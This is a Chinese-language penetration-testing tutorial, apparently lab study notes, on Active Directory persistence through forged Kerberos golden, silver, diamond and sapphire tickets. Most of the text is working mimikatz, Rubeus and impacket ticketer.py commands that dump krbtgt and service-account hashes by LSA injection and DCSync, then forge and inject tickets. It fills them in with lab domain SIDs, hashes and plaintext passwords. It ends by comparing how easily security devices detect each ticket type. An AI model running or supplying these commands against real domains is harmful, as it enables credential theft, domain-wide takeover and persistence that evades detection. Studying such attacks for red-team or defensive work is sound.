内网对抗-权限维持篇&内网AD域&Kerberos点&黄金票据&白银票据&钻石票据&蓝宝石票据
参考资料:
https://forum.butian.net/share/524
https://mp.weixin.qq.com/s/rt2IpxGV-nhAp-3Cqpo1eA
1、黄金票据
黄金票证是一种权限维持手段,攻击者获得了对Active Directory密钥分发服务帐户KRBTGT的控制权,并使用该帐户伪造有效的Kerberos票证授予票证TGT。这使攻击者能够访问Active Directory域上的任何资源,如果有KRBTGT哈希,您可以伪造自己的TGT,其中包括想要的任何组成员身份的PAC数据。
利用条件
黄金票据的使用的必要票件是获取域中krbtgt用户使用的加密密钥
privilege::debug
lsadump::lsa /inject /name:krbtgt
wmic useraccount get Caption,sid
NTLM : c3d5042c67ef5f461d0ba6ecdd9ea449
aes256_hmac : 3e65833fc9930ea83015501ec30c161da401faf6cfed9526b9ceff16c8ade745
aes128_hmac : c7ae2a311bdd5803646f9a98351c31e6
目标域名:rootkit.org
目标域的sid:S-1-5-21-3759881954-2993291187-3577547808
要模拟的用户账户名称:Administrator
要模拟的用户RID:RID是SID右边的数字,例如管理员是500
该账户所属组的RID:域用户和域管理员的RID分别是512和513
清除原有票据:
mimikatz#kerberos::purge
注入黄金票据:
#NTLM
mimikatz#kerberos::golden /domain:rootkit.org /sid:S-1-5-21-3759881954-2993291187-3577547808 /rc4:c3d5042c67ef5f461d0ba6ecdd9ea449 /user:Administrator /id:500 /groups:500,501,513,512,520,518,519 /ptt
#aes256
mimikatz#kerberos::golden /domain:rootkit.org /sid:S-1-5-21-3759881954-2993291187-3577547808 /aes256:3e65833fc9930ea83015501ec30c161da401faf6cfed9526b9ceff16c8ade745 /user:Administrator /id:500 /groups:500,501,513,512,520,518,519 /ptt
#aes128
mimikatz#kerberos::golden /domain:rootkit.org /sid:S-1-5-21-3759881954-2993291187-3577547808 /aes128:c7ae2a311bdd5803646f9a98351c31e6 /user:Administrator /id:500 /groups:500,501,513,512,520,518,519 /ptt
2、白银票据(只能使用cifs 通讯,比黄金票据安全点 不易被捕获)
白银票据是伪造的 Kerberos Ticket Grant Service (TGS) 票证,银票仅允许攻击者伪造特定服务的票证授予服务 (TGS) 票据。TGS 票证使用服务的密码哈希值进行加密,因此如果攻击者窃取了服务帐户的哈希值,就可以生成白银票据。
利用条件
白银票据所需的利用条件和黄金票据是相同的,只是秘钥换成了对应服务的机器账户 Hash(尾部带$的均为机器账户)
privilege::debug
sekurlsa::logonpasswords
目标域名:rootkit.org
目标域的sid:S-1-5-21-202412995-3582062751-167045153
要模拟的用户账户名称:Administrator
要模拟的用户RID:RID是SID右边的数字,例如管理员是500
该账户所属组的RID:域用户和域管理员的RID分别是512和513
清除原有票据:
mimikatz#kerberos::purge
注入白银票据:
mimikatz#kerberos::golden /sid:S-1-5-21-202412995-3582062751-167045153 /domain:rootkit.org /target:SRV-WEB-KIT.rootkit.org /service:cifs /rc4:d285659bb8946c7ca26391b24a6ef567 /user:1111 /ptt
3、钻石票据
黄金票据攻击和钻石票据攻击都需要访问krbtgt密钥。然而钻石票据攻击需要访问AES256密钥。黄金票证攻击则是利用伪造票证授予票证TGT,而钻石票证攻击则利用了域控制器请求的真实TGT进行解密和重新加密进行票据攻击。
privilege::debug
lsadump::dcsync /domain:god.org /user:krbtgt
krbtgt:5a75bb9a4fc4453c66621a54af111884f45bbca6365bf4d81bc059f31e708827
普通用户user:webadmin
用户密码password:admin!@#45
domain:god.org
dc:owa2010cn-god.rootkit.org
请求得到有效ticket:Rubeus.exe asktgt /aes256:5a75bb9a4fc4453c66621a54af111884f45bbca6365bf4d81bc059f31e708827 /user:webadmin /password:admin!@#45 /domain:god.org /dc:owa2010cn-god.god.org /ptt /nowrap
构造票据注入cifs服务:Rubeus.exe asktgs /ticket:doIEyD...w== /service:cifs/owa2010cn-god.god.org /ptt /nowrap
4、蓝宝石票据
蓝宝石票据与钻石票据类似,票据不是伪造的,而是通过请求后获得的合法票据。他们的区别在于PAC的修改方式。钻石票据是修改了合法PAC以添加特权组。在蓝宝石票据中,高权限用户PAC是通过S4U2Self+U2U获得的,然后该PAC会替换原来的PAC,由于该票据是完全合法元素组合起来的,所以是最难检测的票据。
lsadump::dcsync /domain:rootkit.org /user:krbtgt
目标域名:rootkit.org
普通用户user:micle
用户密码password:Admin12345
目标域的sid:S-1-5-21-3759881954-2993291187-3577547808
krbtgt aesKey:
3e65833fc9930ea83015501ec30c161da401faf6cfed9....
krbtgt nthash:
c3d5042c67ef5f461d0ba6ecdd9ea449
https://github.com/ShutdownRepo/impacket/blob/6c9a1aadbfc11e321858a640b596530535b11fd1/examples/ticketer.py
(执行完后会出现一个叫xiaodi的票据 rootkit.org需要指向内网的机器)
python ticketer.py -request -impersonate 'administrator' -domain 'rootkit.org' -user 'micle' -password 'Admin12345' -aesKey '3e65833fc9930ea83015501ec30c161da401faf6cfed9.....' -domain-sid 'S-1-5-21-3759881954-2993291187-3577547808' -nthash 'c3d5042c67ef5f461d0ba6ecdd9ea449' 'xiaodi'
kerberos::ptc xiaodi.ccache
差异:
黄金票据:能控制所有服务协议资源,但容易被安全设备捕获(伪造票据,重启后可能无效)
白银票据:只能控制指定服务协议资源,但不容易被安全设备捕获(伪造票据,重启后可能无效)
钻石票据:利用条件增多,权限维持更持续,更不容易被安全设备捕获(真实票据)
蓝宝石票据:利用条件增多,权限维持更持续,更难被安全设备捕获(真实票据)